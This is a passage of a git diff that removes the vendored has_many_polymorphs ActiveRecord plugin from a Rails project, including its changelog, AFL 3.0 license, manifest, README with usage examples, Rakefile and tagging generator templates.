assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :page, 'some_id', :style, :color=, 'red' - assert_rjs :page, 'some_other_id', :style, :color=, 'red' - end - end -end diff --git a/vendor/plugins/has_many_polymorphs/CHANGELOG b/vendor/plugins/has_many_polymorphs/CHANGELOG deleted file mode 100644 index 1ab5e446..00000000 --- a/vendor/plugins/has_many_polymorphs/CHANGELOG +++ /dev/null @@ -1,86 +0,0 @@ -v2.2. Various fixes. - -v2.13. Merge various fixes for Rails 2.2.2. - -v2.12. Improvements to the test suite; bugfixes for STI children (rsl). Remove fancy dependency system in favor of using Dispatcher::to_prepare every time. - -v2.11. Rails 1.2.6 tagging generator compatibility; change test suite to use included integration app. - -v2.10. Add :parent_conditions option; bugfix for nullified conditions; bugfix for self-referential tagging generator; allow setting of has_many_polymorphs_options hash in Configuration's after_initialize if you need to adjust the autoload behavior; clear error message on missing or improperly namespaced models; fix .build on double-sided relationships; add :namespace key for easier set up of Camping apps or other unusual class structures. - -v2.9. Gem version renumbering; my apologies if this messes anyone up. - -v2.8. RDoc documentation; repository relocation; Rakefile cleanup; remove deprecated plugin-specific class caching. - -v2.7.5. Various bugfixes; Postgres problems may remain on edge. - -v2.7.3. Use new :source and :source_type options in 1.2.3 (David Lemstra); fix pluralization bug; add some tests; experimental tagging generator. - -v2.7.2. Deprecate has_many_polymorphs_cache_classes= option because it doesn't really work. Use config.cache_classes= instead to cache all reloadable items. - -v2.7.1. Dispatcher.to_prepare didn't fire in the console; now using a config.after_initialize wrapper instead. - -v2.7. Dependency injection framework elimates having to care about load order. - -v2.6. Make the logger act sane for the gem version. - -v2.5.2. Allow :skip_duplicates on double relationships. - -v2.5.1. Renamed :ignore_duplicates to :skip_duplicates to better express its non-passive behavior; made sure not to load target set on push unless necessary. - -v2.5. Activerecord compatibility branch becomes trunk: extra options now supported for double polymorphism; conditions nulled-out and propogated to child relationships; more tests; new :ignore_duplicates option on macro can be set to false if you want << to push duplicate associations. - -v2.4.1. Code split into multiple files; tests added for pluralization check; Rails 1.1.6 no longer supported. - -v2.4. Unlimited mixed class association extensions for both single and double targets and joins. - -v2.3. Gem version - -v2.2. API change; prefix on methods is now singular when using :rename_individual_collections. - -v2.1. Add configuration option to cache polymorphic classes in development mode. - -v2.0. Collection methods (push, delete, clear) now on individual collections. - -v1.9.2. Disjoint collection sides bugfix, don't raise on new records. - -v1.9.1. Double classify bugfix. - -v1.9. Large changes to properly support double polymorphism. - -v1.8.2. Bugfix to make sure the type gets checked on doubly polymorphic parents. - -v1.8.1. Bugfix for sqlite3 child attribute retrieval. - -v1.8. Bugfix for instantiating attributes of namespaced models. - -v1.7.1. Bugfix for double polymorphic relationships. - -v1.7. Double polymorphic relationships (includes new API method). - -v1.6. Namespaced model support. - -v1.5. Bugfix for Postgres and Mysql under 1.1.6; refactored tests (hildofur); properly handles legacy table names set with set_table_name(). - -v1.4. STI support added (use the child class names, not the base class). - -v1.3. Bug regarding table names with underscores in SQL query fixed. - -v1.2. License change, again. - -v1.1. File_column bug fixed. - -v1.0. Tests written; after_find and after_initialize now correctly called. - -v0.5. SQL performance enhancements added. - -v0.4. Rewrote singletons as full-fledged proxy class so that marshalling works (e.g. in the session). - -v0.3. Caching added. - -v0.2. Fixed dependency reloading problem in development mode. - -v0.1. License change. - -v0. Added :dependent support on the join table; no changelog before this version. - diff --git a/vendor/plugins/has_many_polymorphs/LICENSE b/vendor/plugins/has_many_polymorphs/LICENSE deleted file mode 100644 index 90eec26b..00000000 --- a/vendor/plugins/has_many_polymorphs/LICENSE +++ /dev/null @@ -1,184 +0,0 @@ -Academic Free License (AFL) v. 3.0 - -This Academic Free License (the "License") applies to any original work -of authorship (the "Original Work") whose owner (the "Licensor") has -placed the following licensing notice adjacent to the copyright notice -for the Original Work: - -Licensed under the Academic Free License version 3.0 - -1) Grant of Copyright License. Licensor grants You a worldwide, -royalty-free, non-exclusive, sublicensable license, for the duration of -the copyright, to do the following: - -a) to reproduce the Original Work in copies, either alone or as part of -a collective work; - -b) to translate, adapt, alter, transform, modify, or arrange the -Original Work, thereby creating derivative works ("Derivative Works") -based upon the Original Work; - -c) to distribute or communicate copies of the Original Work and -Derivative Works to the public, under any license of your choice that -does not contradict the terms and conditions, including Licensor's -reserved rights and remedies, in this Academic Free License; - -d) to perform the Original Work publicly; and - -e) to display the Original Work publicly. - -2) Grant of Patent License. Licensor grants You a worldwide, -royalty-free, non-exclusive, sublicensable license, under patent claims -owned or controlled by the Licensor that are embodied in the Original -Work as furnished by the Licensor, for the duration of the patents, to -make, use, sell, offer for sale, have made, and import the Original Work -and Derivative Works. - -3) Grant of Source Code License. The term "Source Code" means the -preferred form of the Original Work for making modifications to it and -all available documentation describing how to modify the Original Work. -Licensor agrees to provide a machine-readable copy of the Source Code of -the Original Work along with each copy of the Original Work that -Licensor distributes. Licensor reserves the right to satisfy this -obligation by placing a machine-readable copy of the Source Code in an -information repository reasonably calculated to permit inexpensive and -convenient access by You for as long as Licensor continues to distribute -the Original Work. - -4) Exclusions From License Grant. Neither the names of Licensor, nor the -names of any contributors to the Original Work, nor any of their -trademarks or service marks, may be used to endorse or promote products -derived from this Original Work without express prior permission of the -Licensor. Except as expressly stated herein, nothing in this License -grants any license to Licensor's trademarks, copyrights, patents, trade -secrets or any other intellectual property. No patent license is granted -to make, use, sell, offer for sale, have made, or import embodiments of -any patent claims other than the licensed claims defined in Section 2. -No license is granted to the trademarks of Licensor even if such marks -are included in the Original Work. Nothing in this License shall be -interpreted to prohibit Licensor from licensing under terms different -from this License any Original Work that Licensor otherwise would have a -right to license. - -5) External Deployment. The term "External Deployment" means the use, -distribution, or communication of the Original Work or Derivative Works -in any way such that the Original Work or Derivative Works may be used -by anyone other than You, whether those works are distributed or -communicated to those persons or made available as an application -intended for use over a network. As an express condition for the grants -of license hereunder, You must treat any External Deployment by You of -the Original Work or a Derivative Work as a distribution under section -1(c). - -6) Attribution Rights. You must retain, in the Source Code of any -Derivative Works that You create, all copyright, patent, or trademark -notices from the Source Code of the Original Work, as well as any -notices of licensing and any descriptive text identified therein as an -"Attribution Notice." You must cause the Source Code for any Derivative -Works that You create to carry a prominent Attribution Notice reasonably -calculated to inform recipients that You have modified the Original -Work. - -7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants -that the copyright in and to the Original Work and the patent rights -granted herein by Licensor are owned by the Licensor or are sublicensed -to You under the terms of this License with the permission of the -contributor(s) of those copyrights and patent rights. Except as -expressly stated in the immediately preceding sentence, the Original -Work is provided under this License on an "AS IS" BASIS and WITHOUT -WARRANTY, either express or implied, including, without limitation, the -warranties of non-infringement, merchantability or fitness for a -particular purpose. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL -WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential -part of this License. No license to the Original Work is granted by this -License except under this disclaimer. - -8) Limitation of Liability. Under no circumstances and under no legal -theory, whether in tort (including negligence), contract, or otherwise, -shall the Licensor be liable to anyone for any indirect, special, -incidental, or consequential damages of any character arising as a -result of this License or the use of the Original Work including, -without limitation, damages for loss of goodwill, work stoppage, -computer failure or malfunction, or any and all other commercial damages -or losses. This limitation of liability shall not apply to the extent -applicable law prohibits such limitation. - -9) Acceptance and Termination. If, at any time, You expressly assented -to this License, that assent indicates your clear and irrevocable -acceptance of this License and all of its terms and conditions. If You -distribute or communicate copies of the Original Work or a Derivative -Work, You must make a reasonable effort under the circumstances to -obtain the express assent of recipients to the terms of this License. -This License conditions your rights to undertake the activities listed -in Section 1, including your right to create Derivative Works based upon -the Original Work, and doing so without honoring these terms and -conditions is prohibited by copyright law and international treaty. -Nothing in this License is intended to affect copyright exceptions and -limitations (including "fair use" or "fair dealing"). This License shall -terminate immediately and You may no longer exercise any of the rights -granted to You by this License upon your failure to honor the conditions -in Section 1(c). - -10) Termination for Patent Action. This License shall terminate -automatically and You may no longer exercise any of the rights granted -to You by this License as of the date You commence an action, including -a cross-claim or counterclaim, against Licensor or any licensee alleging -that the Original Work infringes a patent. This termination provision -shall not apply for an action alleging patent infringement by -combinations of the Original Work with other software or hardware. - -11) Jurisdiction, Venue and Governing Law. Any action or suit relating -to this License may be brought only in the courts of a jurisdiction -wherein the Licensor resides or in which Licensor conducts its primary -business, and under the laws of that jurisdiction excluding its -conflict-of-law provisions. The application of the United Nations -Convention on Contracts for the International Sale of Goods is expressly -excluded. Any use of the Original Work outside the scope of this License -or after its termination shall be subject to the requirements and -penalties of copyright or patent law in the appropriate jurisdiction. -This section shall survive the termination of this License. - -12) Attorneys' Fees. In any action to enforce the terms of this License -or seeking damages relating thereto, the prevailing party shall be -entitled to recover its costs and expenses, including, without -limitation, reasonable attorneys' fees and costs incurred in connection -with such action, including any appeal of such action. This section -shall survive the termination of this License. - -13) Miscellaneous. If any provision of this License is held to be -unenforceable, such provision shall be reformed only to the extent -necessary to make it enforceable. - -14) Definition of "You" in This License. "You" throughout this License, -whether in upper or lower case, means an individual or a legal entity -exercising rights under, and complying with all of the terms of, this -License. For legal entities, "You" includes any entity that controls, is -controlled by, or is under common control with you. For purposes of this -definition, "control" means (i) the power, direct or indirect, to cause -the direction or management of such entity, whether by contract or -otherwise, or (ii) ownership of fifty percent (50%) or more of the -outstanding shares, or (iii) beneficial ownership of such entity. - -15) Right to Use. You may use the Original Work in all ways not -otherwise restricted or conditioned by this License or by law, and -Licensor promises not to interfere with or be responsible for such uses -by You. - -16) Modification of This License. This License is Copyright (c) 2005 -Lawrence Rosen. Permission is granted to copy, distribute, or -communicate this License without modification. Nothing in this License -permits You to modify this License as applied to the Original Work or to -Derivative Works. However, You may modify the text of this License and -copy, distribute or communicate your modified version (the "Modified -License") and apply it to other original works of authorship subject to -the following conditions: (i) You may not indicate in any way that your -Modified License is the "Academic Free License" or "AFL" and you may not -use those names in the name of your Modified License; (ii) You must -replace the notice specified in the first paragraph above with the -notice "Licensed under " or with a notice -of your own that is not confusingly similar to the notice in this -License; and (iii) You may not claim that your original works are open -source software unless your Modified License has been approved by Open -Source Initiative (OSI) and You comply with its license review and -certification process. - diff --git a/vendor/plugins/has_many_polymorphs/Manifest b/vendor/plugins/has_many_polymorphs/Manifest deleted file mode 100644 index c0555eff..00000000 --- a/vendor/plugins/has_many_polymorphs/Manifest +++ /dev/null @@ -1,173 +0,0 @@ -CHANGELOG -examples/hmph.rb -generators/tagging/tagging_generator.rb -generators/tagging/templates/migration.rb -generators/tagging/templates/tag.rb -generators/tagging/templates/tag_test.rb -generators/tagging/templates/tagging.rb -generators/tagging/templates/tagging_extensions.rb -generators/tagging/templates/tagging_test.rb -generators/tagging/templates/taggings.yml -generators/tagging/templates/tags.yml -init.rb -lib/has_many_polymorphs/association.rb -lib/has_many_polymorphs/autoload.rb -lib/has_many_polymorphs/base.rb -lib/has_many_polymorphs/class_methods.rb -lib/has_many_polymorphs/configuration.rb -lib/has_many_polymorphs/debugging_tools.rb -lib/has_many_polymorphs/rake_task_redefine_task.rb -lib/has_many_polymorphs/reflection.rb -lib/has_many_polymorphs/support_methods.rb -lib/has_many_polymorphs.rb -LICENSE -Manifest -Rakefile -README -test/fixtures/bow_wows.yml -test/fixtures/cats.yml -test/fixtures/eaters_foodstuffs.yml -test/fixtures/fish.yml -test/fixtures/frogs.yml -test/fixtures/keep_your_enemies_close.yml -test/fixtures/little_whale_pupils.yml -test/fixtures/people.yml -test/fixtures/petfoods.yml -test/fixtures/whales.yml -test/fixtures/wild_boars.yml -test/generator/tagging_generator_test.rb -test/integration/app/app/controllers/application.rb -test/integration/app/app/controllers/bones_controller.rb -test/integration/app/app/helpers/addresses_helper.rb -test/integration/app/app/helpers/application_helper.rb -test/integration/app/app/helpers/bones_helper.rb -test/integration/app/app/helpers/sellers_helper.rb -test/integration/app/app/helpers/states_helper.rb -test/integration/app/app/helpers/users_helper.rb -test/integration/app/app/models/bone.rb -test/integration/app/app/models/double_sti_parent.rb -test/integration/app/app/models/double_sti_parent_relationship.rb -test/integration/app/app/models/organic_substance.rb -test/integration/app/app/models/single_sti_parent.rb -test/integration/app/app/models/single_sti_parent_relationship.rb -test/integration/app/app/models/stick.rb -test/integration/app/app/models/stone.rb -test/integration/app/app/views/addresses/edit.html.erb -test/integration/app/app/views/addresses/index.html.erb -test/integration/app/app/views/addresses/new.html.erb -test/integration/app/app/views/addresses/show.html.erb -test/integration/app/app/views/bones/index.rhtml -test/integration/app/app/views/layouts/addresses.html.erb -test/integration/app/app/views/layouts/sellers.html.erb -test/integration/app/app/views/layouts/states.html.erb -test/integration/app/app/views/layouts/users.html.erb -test/integration/app/app/views/sellers/edit.html.erb -test/integration/app/app/views/sellers/index.html.erb -test/integration/app/app/views/sellers/new.html.erb -test/integration/app/app/views/sellers/show.html.erb -test/integration/app/app/views/states/edit.html.erb -test/integration/app/app/views/states/index.html.erb -test/integration/app/app/views/states/new.html.erb -test/integration/app/app/views/states/show.html.erb -test/integration/app/app/views/users/edit.html.erb -test/integration/app/app/views/users/index.html.erb -test/integration/app/app/views/users/new.html.erb -test/integration/app/app/views/users/show.html.erb -test/integration/app/config/boot.rb -test/integration/app/config/database.yml -test/integration/app/config/environment.rb -test/integration/app/config/environment.rb.canonical -test/integration/app/config/environments/development.rb -test/integration/app/config/environments/production.rb -test/integration/app/config/environments/test.rb -test/integration/app/config/locomotive.yml -test/integration/app/config/routes.rb -test/integration/app/config/ultrasphinx/default.base -test/integration/app/config/ultrasphinx/development.conf.canonical -test/integration/app/db/migrate/001_create_sticks.rb -test/integration/app/db/migrate/002_create_stones.rb -test/integration/app/db/migrate/003_create_organic_substances.rb -test/integration/app/db/migrate/004_create_bones.rb -test/integration/app/db/migrate/005_create_single_sti_parents.rb -test/integration/app/db/migrate/006_create_double_sti_parents.rb -test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb -test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb -test/integration/app/db/migrate/009_create_library_model.rb -test/integration/app/doc/README_FOR_APP -test/integration/app/generators/commenting_generator_test.rb -test/integration/app/lib/library_model.rb -test/integration/app/public/404.html -test/integration/app/public/500.html -test/integration/app/public/dispatch.cgi -test/integration/app/public/dispatch.fcgi -test/integration/app/public/dispatch.rb -test/integration/app/public/favicon.ico -test/integration/app/public/images/rails.png -test/integration/app/public/index.html -test/integration/app/public/javascripts/application.js -test/integration/app/public/javascripts/controls.js -test/integration/app/public/javascripts/dragdrop.js -test/integration/app/public/javascripts/effects.js -test/integration/app/public/javascripts/prototype.js -test/integration/app/public/robots.txt -test/integration/app/public/stylesheets/scaffold.css -test/integration/app/Rakefile -test/integration/app/README -test/integration/app/script/about -test/integration/app/script/breakpointer -test/integration/app/script/console -test/integration/app/script/destroy -test/integration/app/script/generate -test/integration/app/script/performance/benchmarker -test/integration/app/script/performance/profiler -test/integration/app/script/plugin -test/integration/app/script/process/inspector -test/integration/app/script/process/reaper -test/integration/app/script/process/spawner -test/integration/app/script/runner -test/integration/app/script/server -test/integration/app/test/fixtures/double_sti_parent_relationships.yml -test/integration/app/test/fixtures/double_sti_parents.yml -test/integration/app/test/fixtures/organic_substances.yml -test/integration/app/test/fixtures/single_sti_parent_relationships.yml -test/integration/app/test/fixtures/single_sti_parents.yml -test/integration/app/test/fixtures/sticks.yml -test/integration/app/test/fixtures/stones.yml -test/integration/app/test/functional/addresses_controller_test.rb -test/integration/app/test/functional/bones_controller_test.rb -test/integration/app/test/functional/sellers_controller_test.rb -test/integration/app/test/functional/states_controller_test.rb -test/integration/app/test/functional/users_controller_test.rb -test/integration/app/test/test_helper.rb -test/integration/app/test/unit/bone_test.rb -test/integration/app/test/unit/double_sti_parent_relationship_test.rb -test/integration/app/test/unit/double_sti_parent_test.rb -test/integration/app/test/unit/organic_substance_test.rb -test/integration/app/test/unit/single_sti_parent_relationship_test.rb -test/integration/app/test/unit/single_sti_parent_test.rb -test/integration/app/test/unit/stick_test.rb -test/integration/app/test/unit/stone_test.rb -test/integration/server_test.rb -test/models/aquatic/fish.rb -test/models/aquatic/pupils_whale.rb -test/models/aquatic/whale.rb -test/models/beautiful_fight_relationship.rb -test/models/canine.rb -test/models/cat.rb -test/models/dog.rb -test/models/eaters_foodstuff.rb -test/models/frog.rb -test/models/kitten.rb -test/models/parentship.rb -test/models/person.rb -test/models/petfood.rb -test/models/tabby.rb -test/models/wild_boar.rb -test/modules/extension_module.rb -test/modules/other_extension_module.rb -test/patches/symlinked_plugins_1.2.6.diff -test/schema.rb -test/setup.rb -test/test_helper.rb -test/unit/has_many_polymorphs_test.rb -TODO diff --git a/vendor/plugins/has_many_polymorphs/README b/vendor/plugins/has_many_polymorphs/README deleted file mode 100644 index 2f3f73f9..00000000 --- a/vendor/plugins/has_many_polymorphs/README +++ /dev/null @@ -1,205 +0,0 @@ -Has_many_polymorphs - -An ActiveRecord plugin for self-referential and double-sided polymorphic associations. - -== License - -Copyright 2006-2008 Cloudburst, LLC. Licensed under the AFL 3. See the included LICENSE file. - -The public certificate for the gem is here[http://rubyforge.org/frs/download.php/25331/evan_weaver-original-public_cert.pem]. - -If you use this software, please {make a donation}[http://blog.evanweaver.com/donate/], or {recommend Evan}[http://www.workingwithrails.com/person/7739-evan-weaver] at Working with Rails. - -== Description - -This plugin lets you define self-referential and double-sided polymorphic associations in your models. It is an extension of has_many :through. - -“Polymorphic” means an association can freely point to any of several unrelated model classes, instead of being tied to one particular class. - -== Features - -* self-references -* double-sided polymorphism -* efficient database usage -* STI support -* namespace support -* automatic individual and reverse associations - -The plugin also includes a generator for a tagging system, a common use case (see below). - -== Requirements - -* Rails 2.2.2 or greater - -= Usage - -== Installation - -To install the Rails plugin, run: - script/plugin install git://github.com/fauna/has_many_polymorphs.git - -There's also a gem version. To install it instead, run: - sudo gem install has_many_polymorphs - -If you are using the gem, make sure to add require 'has_many_polymorphs' to environment.rb, before Rails::Initializer block. - -== Configuration - -Setup the parent model as so: - - class Kennel < ActiveRecord::Base - has_many_polymorphs :guests, :from => [:dogs, :cats, :birds] - end - -The join model: - - class GuestsKennel < ActiveRecord::Base - belongs_to :kennel - belongs_to :guest, :polymorphic => true - end - -One of the child models: - - class Dog < ActiveRecord::Base - # nothing - end - -For your parent and child models, you don't need any special fields in your migration. For the join model (GuestsKennel), use a migration like so: - - class CreateGuestsKennels < ActiveRecord::Migration - def self.up - create_table :guests_kennels do |t| - t.references :guest, :polymorphic => true - t.references :kennel - end - end - - def self.down - drop_table :guests_kennels - end - end - -See ActiveRecord::Associations::PolymorphicClassMethods for more configuration options. - -== Helper methods example - - >> k = Kennel.find(1) - # - >> k.guests.map(&:class) - [Dog, Cat, Cat, Bird] - - >> k.guests.push(Cat.create); k.cats.size - 3 - >> k.guests << Cat.create; k.cats.size - 4 - >> k.guests.size - 6 - - >> d = k.dogs.first - # - >> d.kennels - [#] - - >> k.guests.delete(d); k.dogs.size - 0 - >> k.guests.size - 5 - -Note that the parent method is always plural, even if there is only one parent (Dog#kennels, not Dog#kennel). - -See ActiveRecord::Associations::PolymorphicAssociation for more helper method details. - -= Extras - -== Double-sided polymorphism - -Double-sided relationships are defined on the join model: - - class Devouring < ActiveRecord::Base - belongs_to :guest, :polymorphic => true - belongs_to :eaten, :polymorphic => true - - acts_as_double_polymorphic_join( - :guests =>[:dogs, :cats], - :eatens => [:cats, :birds] - ) - end - -Now, dogs and cats can eat birds and cats. Birds can't eat anything (they aren't guests) and dogs can't be eaten by anything (since they aren't eatens). The keys stand for what the models are, not what they do. - -In this case, each guest/eaten relationship is called a Devouring. - -In your migration, you need to declare both sides as polymorphic: - - class CreateDevourings < ActiveRecord::Migration - def self.up - create_table :devourings do |t| - t.references :guest, :polymorphic => true - t.references :eaten, :polymorphic => true - end - end - - def self.down - drop_table :devourings - end - end - -See ActiveRecord::Associations::PolymorphicClassMethods for more. - -== Tagging generator - -Has_many_polymorphs includes a tagging system generator. Run: - script/generate tagging Dog Cat [...MoreModels...] - -This adds a migration and new Tag and Tagging models in app/models. It configures Tag with an appropriate has_many_polymorphs call against the models you list at the command line. It also adds the file lib/tagging_extensions.rb and requires it in environment.rb. - -Tests will also be generated. - -Once you've run the generator, you can tag records as follows: - - >> d = Dog.create(:name => "Rover") - # - >> d.tag_list - "" - >> d.tag_with "fierce loud" - # - >> d.tag_list - "fierce loud" - >> c = Cat.create(:name => "Chloe") - # - >> c.tag_with "fierce cute" - # - >> c.tag_list - "cute fierce" - >> Tag.find_by_name("fierce").taggables - [#, #] - -The generator accepts the optional flag --skip-migration to skip generating a migration (for example, if you are converting from acts_as_taggable). It also accepts the flag --self-referential if you want to be able to tag tags. - -See ActiveRecord::Base::TaggingExtensions, Tag, and Tagging for more. - -== Troubleshooting - -Some debugging tools are available in lib/has_many_polymorphs/debugging_tools.rb. - -If you are having trouble, think very carefully about how your model classes, key columns, and table names relate. You may have to explicitly specify options on your join model such as :class_name, :foreign_key, or :as. The included tests are a good place to look for examples. - -Note that because of the way Rails reloads model classes, the plugin can sometimes bog down your development server. Set config.cache_classes = true in config/environments/development.rb to avoid this. - -== Reporting problems - -The support forum is here[http://rubyforge.org/forum/forum.php?forum_id=16450]. - -Patches and contributions are very welcome. Please note that contributors are required to assign copyright for their additions to Cloudburst, LLC. - -== Further resources - -* http://blog.evanweaver.com/articles/2007/08/15/polymorphs-tutorial -* http://blog.evanweaver.com/articles/2007/02/22/polymorphs-25-total-insanity-branch -* http://blog.evanweaver.com/articles/2007/02/09/how-to-find-the-most-popular-tags -* http://blog.evanweaver.com/articles/2007/01/13/growing-up-your-acts_as_taggable -* http://blog.evanweaver.com/articles/2006/12/02/polymorphs-19 -* http://blog.evanweaver.com/articles/2006/11/05/directed-double-polymorphic-associations -* http://blog.evanweaver.com/articles/2006/11/04/namespaced-model-support-in-has_many_polymorphs -* http://blog.evanweaver.com/articles/2006/09/26/sti-support-in-has_many_polymorphs -* http://blog.evanweaver.com/articles/2006/09/11/make-polymorphic-children-belong-to-only-one-parent diff --git a/vendor/plugins/has_many_polymorphs/Rakefile b/vendor/plugins/has_many_polymorphs/Rakefile deleted file mode 100644 index b93a94f5..00000000 --- a/vendor/plugins/has_many_polymorphs/Rakefile +++ /dev/null @@ -1,28 +0,0 @@ - -require 'echoe' - -Echoe.new("has_many_polymorphs") do |p| - p.project = "fauna" - p.summary = "An ActiveRecord plugin for self-referential and double-sided polymorphic associations." - p.url = "http://blog.evanweaver.com/files/doc/fauna/has_many_polymorphs/" - p.docs_host = "blog.evanweaver.com:~/www/bax/public/files/doc/" - p.dependencies = ["activerecord"] - p.rdoc_pattern = /polymorphs\/association|polymorphs\/class_methods|polymorphs\/reflection|polymorphs\/autoload|polymorphs\/configuration|README|CHANGELOG|TODO|LICENSE|templates\/migration\.rb|templates\/tag\.rb|templates\/tagging\.rb|templates\/tagging_extensions\.rb/ - p.require_signed = true - p.clean_pattern += ["**/ruby_sess*", "**/generated_models/**"] - p.test_pattern = ["test/unit/*_test.rb", "test/integration/*_test.rb", "test/generator/*_test.rb"] -end - -desc "Run all the tests for every database adapter" -task "test_all" do - ['mysql', 'postgresql', 'sqlite3'].each do |adapter| - ENV['DB'] = adapter - ENV['PRODUCTION'] = nil - STDERR.puts "#{'='*80}\nDevelopment mode for #{adapter}\n#{'='*80}" - system("rake test:multi_rails:all") - - ENV['PRODUCTION'] = '1' - STDERR.puts "#{'='*80}\nProduction mode for #{adapter}\n#{'='*80}" - system("rake test:multi_rails:all") - end -end diff --git a/vendor/plugins/has_many_polymorphs/TODO b/vendor/plugins/has_many_polymorphs/TODO deleted file mode 100644 index b06e28f2..00000000 --- a/vendor/plugins/has_many_polymorphs/TODO +++ /dev/null @@ -1,2 +0,0 @@ - -* Tag cloud method diff --git a/vendor/plugins/has_many_polymorphs/examples/hmph.rb b/vendor/plugins/has_many_polymorphs/examples/hmph.rb deleted file mode 100644 index 67017505..00000000 --- a/vendor/plugins/has_many_polymorphs/examples/hmph.rb +++ /dev/null @@ -1,69 +0,0 @@ -require 'camping' -require 'has_many_polymorphs' - -Camping.goes :Hmph - -module Hmph::Models - class GuestsKennel < Base - belongs_to :kennel - belongs_to :guest, :polymorphic => true - end - - class Dog < Base - end - - class Cat < Base - end - - class Bird < Base - end - - class Kennel < Base - has_many_polymorphs :guests, - :from => [:dogs, :cats, :birds], - :through => :guests_kennels, - :namespace => :"hmph/models/" - end - - class InitialSchema < V 1.0 - def self.up - create_table :hmph_kennels do |t| - t.column :created_at, :datetime - t.column :modified_at, :datetime - t.column :name, :string, :default => 'Anonymous Kennel' - end - - create_table :hmph_guests_kennels do |t| - t.column :guest_id, :integer - t.column :guest_type, :string - t.column :kennel_id, :integer - end - - create_table :hmph_dogs do |t| - t.column :name, :string, :default => 'Fido' - end - - create_table :hmph_cats do |t| - t.column :name, :string, :default => 'Morris' - end - - create_table :hmph_birds do |t| - t.column :name, :string, :default => 'Polly' - end - end - - def self.down - drop_table :hmph_kennels - drop_table :hmph_guests_kennels - drop_table :hmph_dogs - drop_table :hmph_cats - drop_table :hmph_birds - end - end -end - -module Hmph::Controllers -end - -module Hmph::Views -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/tagging_generator.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/tagging_generator.rb deleted file mode 100644 index d99b10f8..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/tagging_generator.rb +++ /dev/null @@ -1,97 +0,0 @@ -require 'ruby-debug' and Debugger.start if ENV['USER'] == 'eweaver' - -class TaggingGenerator < Rails::Generator::NamedBase - default_options :skip_migration => false - default_options :self_referential => false - attr_reader :parent_association_name - attr_reader :taggable_models - - def initialize(runtime_args, runtime_options = {}) - parse!(runtime_args, runtime_options) - - @parent_association_name = (runtime_args.include?("--self-referential") ? "tagger" : "tag") - @taggable_models = runtime_args.reject{|opt| opt =~ /^--/}.map do |taggable| - ":" + taggable.underscore.pluralize - end - @taggable_models += [":tags"] if runtime_args.include?("--self-referential") - @taggable_models.uniq! - - verify @taggable_models - hacks - runtime_args.unshift("placeholder") - super - end - - def verify models - puts "** Warning: only one taggable model specified; tests may not run properly." if models.size < 2 - models.each do |model| - model = model[1..-1].classify - next if model == "Tag" # don't load ourselves when --self-referential is used - self.class.const_get(model) rescue puts "** Error: model #{model[1..-1].classify} could not be loaded." or exit - end - end - - def hacks - # add the extension require in environment.rb - phrase = "require 'tagging_extensions'" - filename = "#{RAILS_ROOT}/config/environment.rb" - unless (open(filename) do |file| - file.grep(/#{Regexp.escape phrase}/).any? - end) - open(filename, 'a+') do |file| - file.puts "\n" + phrase + "\n" - end - end - end - - def manifest - record do |m| - m.class_collisions class_path, class_name, "#{class_name}Test" - - m.directory File.join('app/models', class_path) - m.directory File.join('test/unit', class_path) - m.directory File.join('test/fixtures', class_path) - m.directory File.join('test/fixtures', class_path) - m.directory File.join('lib') - - m.template 'tag.rb', File.join('app/models', class_path, "tag.rb") - m.template 'tag_test.rb', File.join('test/unit', class_path, "tag_test.rb") - m.template 'tags.yml', File.join('test/fixtures', class_path, "tags.yml") - - m.template 'tagging.rb', File.join('app/models', class_path, "tagging.rb") - m.template 'tagging_test.rb', File.join('test/unit', class_path, "tagging_test.rb") - m.template 'taggings.yml', File.join('test/fixtures', class_path, "taggings.yml") - - m.template 'tagging_extensions.rb', File.join('lib', 'tagging_extensions.rb') - - unless options[:skip_migration] - m.migration_template 'migration.rb', 'db/migrate', - :migration_file_name => "create_tags_and_taggings" - end - - end - end - - protected - def banner - "Usage: #{$0} generate tagging [TaggableModelA TaggableModelB ...]" - end - - def add_options!(opt) - opt.separator '' - opt.separator 'Options:' - opt.on("--skip-migration", - "Don't generate a migration file for this model") { |v| options[:skip_migration] = v } - opt.on("--self-referential", - "Allow tags to tag themselves.") { |v| options[:self_referential] = v } - end - - # Useful for generating tests/fixtures - def model_one - taggable_models[0][1..-1].classify - end - - def model_two - taggable_models[1][1..-1].classify rescue model_one - end -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/migration.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/migration.rb deleted file mode 100644 index 582b54c6..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/migration.rb +++ /dev/null @@ -1,28 +0,0 @@ - -# A migration to add tables for Tag and Tagging. This file is automatically generated and added to your app if you run the tagging generator included with has_many_polymorphs. - -class CreateTagsAndTaggings < ActiveRecord::Migration - - # Add the new tables. - def self.up - create_table :tags do |t| - t.column :name, :string, :null => false - end - add_index :tags, :name, :unique => true - - create_table :taggings do |t| - t.column :<%= parent_association_name -%>_id, :integer, :null => false - t.column :taggable_id, :integer, :null => false - t.column :taggable_type, :string, :null => false - # t.column :position, :integer # Uncomment this if you need to use acts_as_list. - end - add_index :taggings, [:<%= parent_association_name -%>_id, :taggable_id, :taggable_type], :unique => true - end - - # Remove the tables. - def self.down - drop_table :tags - drop_table :taggings - end - -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag.rb deleted file mode 100644 index 1966a76b..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag.rb +++ /dev/null @@ -1,39 +0,0 @@ - -# The Tag model. This model is automatically generated and added to your app if you run the tagging generator included with has_many_polymorphs. - -class Tag < ActiveRecord::Base - - DELIMITER = " " # Controls how to split and join tagnames from strings. You may need to change the validates_format_of parameters if you change this. - - # If database speed becomes an issue, you could remove these validations and rescue the ActiveRecord database constraint errors instead. - validates_presence_of :name - validates_uniqueness_of :name, :case_sensitive => false - - # Change this validation if you need more complex tag names. - validates_format_of :name, :with => /^[a-zA-Z0-9\_\-]+$/, :message => "can not contain special characters" - - # Set up the polymorphic relationship. - has_many_polymorphs :taggables, - :from => [<%= 